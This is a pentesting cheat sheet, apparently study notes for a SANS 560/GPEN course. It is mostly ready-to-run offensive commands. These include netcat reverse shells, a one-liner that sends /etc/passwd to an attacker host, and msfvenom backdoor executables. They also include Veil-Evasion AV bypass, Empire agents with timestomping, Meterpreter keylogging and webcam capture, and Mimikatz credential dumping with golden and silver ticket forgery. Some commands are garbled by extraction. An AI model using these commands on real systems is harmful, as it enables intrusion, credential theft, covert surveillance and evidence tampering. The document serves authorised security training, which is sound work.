

General Recon

```
fping -g          Ping sweep
x.x.x.x.0
x.x.x.x.254 -a
```

Linux traceroute Options

```
-4              Forces IPv4
-6              Forces IPv6, same as traceroute6 command
-I             Uses ICMP echo
-T             Uses TCP SYN
-f <fi rst -   Starts from the hop specified instead of 1
  _tt l>
-g <ga tew ay> Routes packets through the gateway specified
  instead of the default
-m <ma x_t -   Specifies the maximum number of hops;
  tls>         default is 30
-n             Specifies not to resolve IP address to
  hostnames
-w <wa it>     Specifies the wait time, which can be in
  seconds or relative to the reply time between
  hops
-p <po rt>     Specifies the port
```

DNS Query

nslookup

```
nslookup -norecurse -      DNS Snooping | nonrecursive
type=A google.com DNS_SR - query
VR_IP
server [serve rIPaddr or  use specific server
name]
set type=any               set DNS record type
ls -d [targe t_d omain]   Perform a zone transfer of all
  records for a given domain
```

DNS Query (cont)

```
ls -d [targe t__ domain] [>   Store zone transfer
filename]                     output in a file
view [filename]               view file
dig
dig @[name server] [domain    dig comand syntax
name] [record type]
dig +nocom ments @192.1 -    test if allows anonymous
68.1.50 lab.local -t AXFR   zone transfers
set norecurse                 no recursive query,
RD=0
```

Netcat

Flags

```
-l             Listen mode (default is client)
-L            Listen harder (Windows only) — Make a persistent
  listener
-u            UDP mode (defaultis TCP)
-p            Local port (In listen mode, this is port listened connections
  on. In client mode, this is source port for packets sent.)
-e            Program to execute after connection occurs
<fi -
len -
ame>
-n            Don't resolve names
-z            Zero—I/O mode: Don't send any data, just emit packets
-w [N]       Timeout for connects, waits for N seconds
-v            Be verbose, printing when a connectionis made
```



Netcat (cont)

```
nc -e executes a command upon connection
-vv Be verbose, printing when connections are made, dropped, and so on
```

General

```
nc -l -vnp XX Server listen, verbosity,noDNS,on port XX
```

SHELLS

```
nc IP PORT -e /bin/bash Client reverse shell
rm -f /tmp/f ; mkfifo /tmp/f ; netcat -e alternative
cat /tmp/f | /bin/sh -i example
2>&1|nc $RHOST $RPORT >/tmp/f
```

On target:

```
mknod backpipe p
nc --l -p [allowed_inbound_port] 0<backpipe |
nc 127.0.0.1 22 1>backpipe
```

Attackers machine to connect:

```
ssh login_name@[target_machine] -p [allowed_inbound_port]
```

A really good explanation for this is on 560.3 book, P 152

Send Files

```
nc -l -p 8080 > filename setup listener and output file
nc -w 3 attackerIP 8080 < /etc/passwd sends file to netcat listener with 3 secs timeout
```

Scan ports

```
nc -v -n IP port test 1 port
nc -v -w 2 -z IP_Address port_range port range
echo " " | nc -v -n -w1 [targetIP] [port-range] a port scanner that harvests banners
```

Other Uses

Netcat (cont)

```
while (true); do nc -vv -z -w3 [target_IP] [target_port] > /dev/null && echo -e "\x07"; sleep 1; done Service-is-alive heartbeat
while `nc -vv -z -w3 [target_IP] [target_port] > /dev/null`;do echo " - Service is ok"; sleep 1; done; echo " - Service is dead"; echo -e "\x07" Service-Is-Dead Notification
```

alternative

```
nc -n -v -l -p 2222 < /tmp/winauth.pcap Setup listener that will send the file
nc.exe -n -v -w3 [YourLocalIP addr] 2222 >C:\folder\winauth.pcap Client to capture and save the file
```

TCPDUMP | Monitoring

General

```
tcpdump -nnv -i eth0 start capturing traffic
-n Use numbers instead of names for machines
-nn Use numbers for machines and ports
-i Sniff on a particular interface (-D lists interfaces)
-v Be verbose
-w Dump packets to a file (use -r to read file later)
-x Print hex
-X Print hex and ASCII
-A Print ASCII
s [snaplen] Sniff this many bytes from each frame, instead of the default
```



TCPDUMP | Monitoring (cont)

Protocol:

ether, ip, ip6, arp, rarp, tcp, udp: protocol type

Type:

host [host] Only give me packets to or from that host

net [network] Only packets for a given network

port [portnum] Only packets for that port

portrange [start - end] Only packets in that range of ports

Direction:

src Only give me packets from that host or port

dst Only give me packets to that host

Use and / or to combine these together

Wrap in parentheses to group elements together

Hashcat

hashcat -m 1800 -a 0 -o found1.txt crack1.hash 500_password.txt ssw ord s.txt crack Linux SHA512 password with dict

hashcat --force -m 13100 -a 0 lab3_hashcat /path/to/Dict.txt --show Crack Kerberos Service Ticket for account password

PowerSploit/PowerView

Invoke - Requests service tickets for kerberoastable accounts and returns extracted ticket hashes
 Kerberoast

Metasploit

Create Handler listener

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_https OR windows/meterpreter/reverse_tcp

set lhost AttackerIP

Metasploit (cont)

set lport 443

exploit -j -z Run in background

PS Session with valid creds

use auxiliary/admin/smbexec_command

set smbuser user

set rhost victimIP

set smbpass P4\$\$

set command "ipconfig or any command"

run

Create backdoor - recognized by Defender :(

msfvenom -p windows/sHELL/rve_rse_tcp LHOST=[AttackerIP] LPORT=8080 -f exe > /tmp/file.exe

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=AttackerIP LPORT=443 -f exe -o pwned.exe

Others

sessions -l get a list of sessions

sessions -i [N] interact (-i) with session number [N]

press CTRL-Z Background session

jobs get background jobs

db_import /path/to/file/nmap.xml Import scans from nmap

hosts -m "Windows 10" 192.168.1.10 Add comment to host

services -u -p 135,445 Show UP hosts with Lports 135,445

sessions -h list help for sessions command

sessions -K kill a session

Empire

set up an Empire HTTP listener

```
usestager window s/l aun che r_bat
```

```
set Listener http
```

```
execute
```

General

```
list agents
```

```
interact AGENTID chose an agent
```

```
download C:\Use rs - transfer file from agentPC
\ali ce \Des kto p\s -
ome.txt
```

Timestomping

```
upload /tmp upload content from /tmp to
actual session directory
```

```
usemodule manage men - load timestomp module
t/t ime stomp
```

```
set ALL 03/02/2020 5:28 define time to be set in all
pm datetime file properties
```

```
set FilePath bank_l ogi - set target file to be tampered
n_i nfo rma tio n.txt
```

```
execute run module
```

Others

```
/opt/E mpi re- mas - Empire Download's location
ter /do wnl oads/
```

```
sell powershell Get-Ch - Run powershell command
ildItem
```

General

```
? Get command suggestions
```

```
searchmodule privesc search for modules
```

configure a listener

```
listeners getting a list of our listeners
```

```
options options we have for our
listeners
```

Empire (cont)

```
set StagingKey configure a custom staging key for
[Some_Secret_Value] encrypting communications
```

```
set DefaultDelay 1 time between callbacks from our agent
```

```
execute launch listener
```

```
list check out our listene
```

deploy an agent

```
usestager create and deploy an agent | [space][TAB-
TAB] To see available stagers
```

```
usestager 1aunch- select stager
er_bat
```

```
info get info for actual stager
```

MSFDB - Metasploit Database

Most useful database commands

```
db_connect Connects to a database
[conne -
ct_ -
string]
```

```
db_dis - Disconnects from database
connect
```

```
db_driver Selects the database type
```

```
db_status Displays the status of the database
```

```
db_export Exports database contents into a file, either xml
(with hosts,ports, vulnerabilities, and more) or
pwdump (with pilfered credentials)
```

```
hosts Get list of hosts discovered
```

```
vulns Get list of vulns that were found in scanned hosts
```

```
services Get list of services running in gained hosts
```

```
hosts -- manually add hosts
```

```
add [host]
```



MSFDB - Metasploit Database (cont)

`services --add -p [port] -r [proto] -s [name] [host1 ,host2 ,...]` manually add services running in hosts

`notes --add -t [type] -n '[note_text]' [host1 ,host2 ,...]` manually add notes to a host

If you delete a host, any services and vulns corresponding to that `host_id` will also disappear

`db_nmap --st 10.10.1.0.10 --pack et- trace` invoke Nmap directly from the msfconsole

`db_import [filename]` import data | automatically recognizes the file type like Nmap xml, Amap, Nexpose, Qualys, Nessus

`hosts -S linux` searching for any hosts associated with linux, -S works for other items (vulns) as well

`hosts -S linux -R` set result as RHOTS variable value

`vulns -p 445` Look for vulnerabilities based on port number

Veil-Evasion

Start Veil-Evasion

`cd /opt/Veil -Ev asion || /usr/s har e/veil`

`./Veil -Ev asion .py`

General

`list` get a list of all the different payloads that the tool can generate

`info powers hel l/m - ete rpr ete r/r ev_ - https` get more information about any of the payloads

Veil-Evasion (cont)

`clean` Clean out any leftover cruft from previous use of Veil-Evasion,

Generate payload

`use info` select the payload you want to generate
`powers hel - l/m ete rpr - ete r/r ev_ - https`

`options` list options for actual item

`generate` create the payload file

Generated files

`.bat` This is the payload itself

`.rc` This is the Metasploit configuration file (also known as a handler file) for a multi/handler waiting for a connection from our payload.

`exit` exit Veil-Evasion

`/usr/s har -` Veil-Evasion output directory

`e/v eil -ou - tpu t/s ource`

traceroute

Options

`-f [N]` Set the initial TTL for the first packet

`-g [hostlist]` Specify a loose source route (8 maximum hops)

`-I` Use ICMP Echo Request instead of UDP

`-T` Use TCP SYN instead of UDP (very useful!),with default dest port 80

`-m [N]` Set the maximum number of hops

`-n` Print numbers instead of names

`-p [port]` port

For UDP, set the base destination UDP port and increment



traceroute (cont)

For TCP, set the fixed TCP destination port to use, defaulting to port 80 (no incrementing)

- w [N] Wait for N seconds before giving up and writing * (default is 5)
- 4 Force use of IPv4 (by default, chooses 4 or 6 based on dest addr)
- 6 Force use of IPv6

John the Ripper

General

- john.pot file cracked password store
- john.rec file stores john's current status
- john --restore picks up Where it left off based on the contents of the john.rec file
- john --test Check Speed Of SyStem
- john hash.txt run john against hash.txt file
- john --show [password - _file] compare which passwords John has already cracked from a given password file against itsjohn.pot file

Cracking LANMAN Hashes

- john /tmp/s - am.txt By default, John will focus on the LANMAN hashes.

Cracking Linux Passwords

- cp /etc/passwd - /tmp/passwd_copy copy passwd file to your working directory
- cp /etc/shadow - /tmp/shadow_copy copy shadow file to your working directory

John the Ripper (cont)

- ./unshadow passwd _copy shadow _copy > combined.txt Use the unshadow script to combine account info from /etc/passwdwith password information from /etc/shadow
- john combined.txt Run John against the combined file
- cat ~/.john/john.pot Look at the Results in john.pot file

pw-inspector (Password Inspector)

- i input file
- o output file
- m [n] the minimum number of characters to use for a password is n
- M [N] Remove all words longer than N characters
- c [count] how many password criteria a given word must meet to be included in the list.
- l The password must contain at least one lowercase character.
- u The Password must contain at least one uppercase character. (To specify a mixed case requirement, configure -c 2 -l -u.)
- n The password must contain at least one number
- p he password must contain at least one printable character that is neither alphabetic nor numeric, whichincludes !@#%*&*(.).
- s The password must include characters not included in the other lists (such as nonprintable ASCII characters)



Meterpreter

Basic commands

? / help	Display a help menu
exit / quit	Quit the Meterpreter
sysinfo	Show name, OS type
shutdown / reboot	Self-explanatory
reg	read or write to the Registry

File System Commands

cd	Navigate directory structure
lcd	Change local directories on attacker machine
pwd / getwd	Show the current working directory
ls	List the directory contents, even 4 Windows
cat	Display a file's contents
download / upload	Move a file to or from the machine
mkdir / rmdir	Make or remove directories
edit	Edit a file using default editor

Process Commands 560.3 Page 92

getpid	Returns the process ID that Meterpreter is running in
getuid	Returns the user ID that the Meterpreter is running with
ps ps -S	Process list
notepad.exe	
kill	Terminate a process
execute -f cmd.exe -c -H	Runs a given program channelized (-c) and hide process window (-H)
migrate [destination_process_ID]	Jumps to a given destination process ID:

Meterpreter (cont)

*Target process must have the same or lesser privileges

*May be a more stable process

*When inside the process, can access any files that it has a lock on

Network Commands

ipconfig	show network config
route	Displays routing table, adds/deletes routes
portfwd add -l 1111 -p 22 -r Target2	SANS 560.3 Exploitation Page 67 for better understanding

On-target Machine commands

screenshot -p [file.jpg]	SC
idletime	Show how long the user at the console has been idle
uictl [enable/disable] [keyboard/mouse]	Turn on or off user input devices

Webcam and Mic Commands

webcam __list	Lists installed webcams
webcam __snap	Snaps a single frame from the webcam as a JPEG: -Can specify JPEG image quality from 1 to 100, with a default of 50
record_mic	Records audio for N seconds (--d N) and stores in a wav file in the Metasploit .msf4 directory by default

Make sure you get written permission before activating either feature

Keystroke Logger

C

By **Hey Mensh** (HeyMensh)
cheatography.com/heymentsh/

Published 23rd November, 2022.
 Last updated 23rd November, 2022.
 Page 7 of 10.

Sponsored by **CrosswordCheats.com**
 Learn to solve cryptic crosswords!
<http://crosswordcheats.com>

Meterpreter (cont)

<code>keysca n_start</code>	poll every 30 milliseconds for keystrokes entered into the system
<code>keysca n_dump</code>	flushes 1 Megabyte of buffer keystrokes captured to attacker's Meterpreter Screen
<code>keysca n_stop</code>	tells the Meterpreter to stop gathering all keystrokes

Pivoting Using Metasploit's Route Command

```
use [exploit1]
set RHOST [victim1]
set PAYLOAD window s/m ete rpr ete r/r eve rse_tcp
exploit
```

CTRL-Z background session... **will display meterpreter sid**

```
route add [victim2_subnet] [netmask] [Sid]
direct any of its packets for a given target machine or subnet through that Meterpreter session
```

```
use [exploit2]
set RHOST [victim2]
set PAYLOAD [payloadZ]
exploit
```

Do not confuse the Metasploit (msf) route command with the Meterpreter route command. The latter is used to manage the routing tables on a target box that has been compromised using the Meterpreter payload. The msf route command is used to direct all traffic for a given target subnet from the attacker's Metasploit machine through a given Meterpreter session on a compromised victim machine to another potential Victim.

Additional Modules

```
use [module name] load additional modules
```

Others

Meterpreter (cont)

```
run shtas ksabuse -c " [command] " -t [targetIP]
script that automates Win-sc-htasks task creation
```

Uses Meterpreter's process credentials (add -u and -p for other credentials)

```
load kiwi
load the mimikatz Kiwi Meterpreter extension on the target machine
```

```
creds_all grab credentials
```

GPG

```
gpg -d -o <Output filename> <Encrypted file name>
decrypt a file
```

OVER-PASS-THE-HASH

1. Perform the AS-REQ (encrypting timestamp with passw hash) to get an TGT
2. Perform TGS-REQ to KDC to get TGS
3. Use TGS to impersonate passw hash owner and use a service

Golden Ticket ATTACK

Requirements

- KDC LT key (e.g. KRBTGT NTLM hash)
- Domain admin account name
- Domain name
- SID of domain admin account

Commands

```
.\mimikatz kerberos :golden /admin :ADMIN ACC -
OUN TNAME /domain:D OMA INFQDN /id:AC COU NTRID
/sid:D OMA INSID /krbtgt :K RBT GTP ASS WOR DHASH
```

```
.\mimikatz kerberos :ptt create a golden ticket from file
file.txt with PTT
```

```
kerberos :tgt Get current session ticket
details
```

```
kerberos :list /export Export ticket to a .kirbi file
```

```
kerberos :ptt file.kirbi Load / pass the ticket
```



Silver Ticket ATTACK

Requirements

- /target target server's FQDN.
- /service SPN
- /rc4 NTLM hash for the service (computer account or user account)

Steps

```
whoami get domain/SID
invoke -Kerberos -u user -h 'hash' -i 1106 -d domain.com -s 'service' -rc4 'hash'
Mimikatz "privilege::debug" get Service
"sekurlsa::logonpasswords" password hash
exit w/Mimikatz (if you
have access to
server hosting
Vuln service)
```

```
hashcat -m 13100 hash.txt dicti.txt
hashcat -m 13100 hash.txt dicti.txt
Get unencrypted
service password
w/hashcat (If we
didn't get NTLM
hash) and hash it
to NTLM
```

```
Import -Module DSInternals $pwd =
Convert-SecureString $pwd -AsPlainText -Force
Convert-NTLMHash $pwd
Hash cleartext
password to
NTLM
```

```
mimikatz "kerberos::golden
/admin:ImAdmin /id:1106 /domain:lab.local /sid:S-1-5-2-1-XXXXX /target:E:\XCHANG -
E:\local /rc4:NTLMHash
/service:ServiceSPN /ptt" exit
Forge TGS to
auth target SVC
```

Silver Ticket ATTACK (cont)

```
misc::cmd ; klist ; use a command to
connect to that specific service for
example: Find-Inte res tin gFile -Path
\\File Server 1.domain.com \$$\share\
Auth to
local SVC
w/creds and
TGS | ej:
mimikatz
```

Trolling

Faking RIDs

```
1106 is "Anakin" /id:1159
1159 is "Vader" /user:-
Anakin
```

Result: User: Anakin | Real Context User: Vader

```
/groups:512,513,518,519 lulz
/id:9999
/user:yourmom
```

Mimikatz

Command Reference for tickets attacks

```
/domain domain's fqdn
```

```
/sid SID of the Domain
```

```
/user username to impersonate
```

```
/admin
```

```
/groups group RIDs the user is a member of (the first is the
(optional) primary group) default: 513,512,520,518,519 for the
well-known Administrator's groups
```

```
/ticket provide a path and name for saving the Golden Ticket
(optional) file to for later use or use /ptt to immediately inject the
golden ticket into memory for use.
```

```
/ptt as an alternate to /ticket - use this to immediately inject
the forged ticket into memory for use.
```



Mimikatz (cont)

<code>/id</code> (optional)	user RID. Mimikatz default is 500 (the default Admin account RID).
<code>/start - offset</code> (optional)	the start offset when the ticket is available (generally set to -10 or 0 if this option is used). Mimikatz Default value is 0.
<code>/endin</code> (optional)	ticket lifetime. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 10 hours (600 minutes).
<code>/renewmax</code> (optional)	maximum ticket lifetime with renewal. Mimikatz Default value is 10 years (~5,262,480 minutes). Active Directory default Kerberos policy setting is 7 days (10,080 minutes).

Scapy (Packet crafting)

GPEN AIO Book - Lab 3-4: Scapy Introductory

<code>scapy (as root)</code>	starts library
<code>help(function)</code>	Get help for specific function
<code>p = IP()/TCP()/"F oo"</code>	define blank packet
<code>ls(p)</code>	show packet info
<code>p.show()</code>	show packet info
<code>summary</code>	show packet info
<code>ls(p[Raw])</code>	view just the data
<code>p[IP].src = "ip address"</code>	set src address
<code>p[IP].dst = "ip address"</code>	set dst address
<code>p[TCP].sport = "xx"</code>	set src port
<code>p[TCP].dport = "xx"</code>	set dst port
<code>p=IP/TCP/DATA</code>	packet structure

AIO Book - Page 158

Metadata Analysis

<code>./exiftool t/images/ExifTool.jpg</code>	execute exiftool against the ExifTool.jpg
<code>strings -n 8 file.txt</code>	shows strings only eight characters long

Recon-ng comands for whois_pocs

<code>recon-ng</code>
<code>market place install all ; exit</code>
<code>workspaces create demo</code>
<code>modules load recon/ domain-scanner/whois_pocs</code>
<code>options set SOURCE example.com</code>
<code>run</code>
<code>show contacts</code>

Cron

<code>crontab -l</code>	list job entries
<code>crontab -e</code>	edit job entries



By **Hey Mensh** (HeyMensh)
cheatography.com/heymentsh/

Published 23rd November, 2022.
Last updated 23rd November, 2022.
Page 10 of 10.

Sponsored by **CrosswordCheats.com**
Learn to solve cryptic crosswords!
<http://crosswordcheats.com>